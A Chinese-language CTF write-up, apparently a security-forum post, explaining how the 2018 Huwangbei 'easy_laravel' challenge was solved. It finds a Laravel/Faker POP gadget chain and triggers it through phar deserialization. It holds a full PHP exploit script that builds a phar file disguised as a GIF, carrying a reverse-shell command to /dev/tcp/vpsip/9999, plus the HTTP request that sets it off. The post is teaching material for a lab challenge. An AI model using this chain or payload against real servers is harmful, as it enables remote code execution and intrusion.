2018护网杯easy_laravel getshell

wuwuwu**** / 2018-10-15 15:35:49 / 浏览数 3020 安全技术 CTF 顶(0) 踩(0)

2018护网杯easy_laravel 利用POP Chian getshell

出题的师傅已经把docker环境放到了github上

https://github.com/sco4x0/huwangbei2018_easy_laravel

可以自己环境部署，关于如何通过sql注入变成管理员请参考这位师傅的博客

http://www.venenof.com/index.php/archives/565/ 。

下面是在你已经成为管理员，为了方便我直接修改了代码，将`UploadController`的`$this->middleware(['auth', 'admin']);`注释掉。

根据这篇文章

https://paper.seebug.org/680/

我们知道，phar协议在涉及到文件操作的时候存在反序列化。

下面我们的目标是如何找POP Chain。在vendor 这个文件夹下面，搜索`__destruct`和`call_user_func`

我找到了下面两个文件。

`Illuminate\Broadcasting\PendingBroadcast.php`

```
<?php

namespace Illuminate\Broadcasting;

use Illuminate\Contracts\Events\Dispatcher;

class PendingBroadcast
{
   protected $events;
   protected $event;

   public function __construct(Dispatcher $events, $event)
   {
       $this->event = $event;
       $this->events = $events;
   }
   public function __destruct()
   {
       $this->events->fire($this->event);
   }
   public function toOthers()
   {
       if (method_exists($this->event, 'dontBroadcastToCurrentUser')) {
           $this->event->dontBroadcastToCurrentUser();
       }

       return $this;
   }
}
```

`Faker\Generator.php`

```
<?php

namespace Faker;

class Generator
{
   protected $providers = array();
   protected $formatters = array();
```

```
    public function addProvider($provider)
    {
        array_unshift($this->providers, $provider);
    }

    public function getProviders()
    {
        return $this->providers;
    }

    public function seed($seed = null)
    {
        if ($seed === null) {
            mt_srand();
        } else {
            if (PHP_VERSION_ID < 70100) {
                mt_srand((int) $seed);
            } else {
                mt_srand((int) $seed, MT_RAND_PHP);
            }
        }
    }

    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

    public function parse($string)
    {
        return preg_replace_callback('/\{\{\s?(\w+)\s?\}\}/u', array($this, 'callFormatWithMatches'), $string);
    }

    protected function callFormatWithMatches($matches)
    {
        return $this->format($matches[1]);
    }

    public function __get($attribute)
    {
        return $this->format($attribute);
    }

    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }
}
```

先解释两个魔术方法

__destruct 销毁对象的时候会自动调用该方法

__call当对象调用不存在的方法时会自动调用该函数

那么POP
chain就比较明显了，先创建一个Generator实例，然后将其赋值给PendingBroadcast的events。当PendingBroadcast自动销毁时会调用Generator的fire方法，

可能解释的不是很清楚，具体利用看下面的脚本。

```
<?php
namespace Illuminate\Broadcasting{
   class PendingBroadcast
   {

       protected $events;

       protected $event;

       public function __construct($events, $event)
       {
           $this->event = $event;
           $this->events = $events;
       }


       public function __destruct()
       {
           $this->events->fire($this->event);
       }
   }
}



namespace Faker{
   class Generator
   {
       protected $formatters;

       function __construct($forma){
           $this->formatters = $forma;
       }

       public function format($formatter, $arguments = array())
       {
           return call_user_func_array($this->getFormatter($formatter), $arguments);
       }

       public function getFormatter($formatter)
       {
           if (isset($this->formatters[$formatter])) {
               return $this->formatters[$formatter];
           }
       }

       public function __call($method, $attributes)
       {
           return $this->format($method, $attributes);
       }
   }
}


namespace{
   $fs = array("fire"=>"system");
   $gen = new Faker\Generator($fs);
   $pb = new Illuminate\Broadcasting\PendingBroadcast($gen,"bash -c 'bash -i >& /dev/tcp/vpsip/9999 0>&1'");
   $p = new Phar('./1.phar', 0);
   $p->startBuffering();
   $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
   $p->setMetadata($pb);
   $p->addFromString('1.txt','text');
   $p->stopBuffering();
```

```
    rename('./1.phar', '3.gif');
}
?>
```

然后将上面脚本生成的3.gif
上传然后,通过控制path参数和filename参数使得file_exists("phar:///usr/share/nginx/html/storage/app/public/3.gif/1.txt")，然后就可以getshell了。

```
POST /check HTTP/1.1
Host: 10.162.65.225:8989
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.162.65.225:8989/files
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
Cookie:
XSRF-TOKEN=eyJpdiI6InhHZWM2aVFIMmVQS29PU0E4SlVOQ3c9PSIsInZhbHVlIjoiczZXWVNiZ0tBaVhcL282aWFpOFQxYjhXUjVWQkVZRTV1YWl0NmgwRFFrRUxxdkFFdnU5eUtVblNxV09JRlgwMndzSEZ6QzdHYmt3clFUMVYwWGxpaUFBPT0iLCJtYWMiOiI3OGM2M2ZmYzcwNGZlNGRiNGVlYmFhNWQxY2ZjNmFhNTJlMzk0NmU0ODVlZWQyY2Y3ZTQ0NDA4YmM0NDU0M2ViIn0%3D;
laravel_session=eyJpdiI6IlJTbHBQQTRLYThVbnhVZThEQ043Umc9PSIsInZhbHVlIjoiTE5WZWpmTXl0TXBCR3M4eVRwNzRiODJcL3dtVHljOGUwUVZ3SjZJRnVGVGV4TmthenRzSEJcLzgxYW9BWkE5TlgwRUpqY2dEcWNOYUt1UTFoMXhuOVZQdz09IiwibWFjIjoiOTAwYTE2M2E3YmJmYTE3MDJhNzQxODI5ODFiMjhiMWM3Y2YwMThlNjRjOGNlZTNmYzkzMzMwYTFjOTFmZjBhNCJ9
Connection: close
Upgrade-Insecure-Requests: 1

path=phar:///usr/share/nginx/html/storage/app/public/3.gif&filename=/1.txt&_token=mtGlSMnSoGARcdlS1bnHA66LI3tCn22wMrvtccpr
```

成功get shell。

参考链接：

https://github.com/sco4x0/huwangbei2018_easy_laravel

http://www.venenof.com/index.php/archives/565/

https://paper.seebug.org/680/

上一篇：DoraHacks区块链安全Hac... 下一篇：VulnHub Gemini Inc

1. 2 条回复


afanti 2018-10-16 09:28:25

膜大佬，非预期解

0 回复Ta


veneno 2018-10-17 22:12:36

hhh，果真有RCE

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板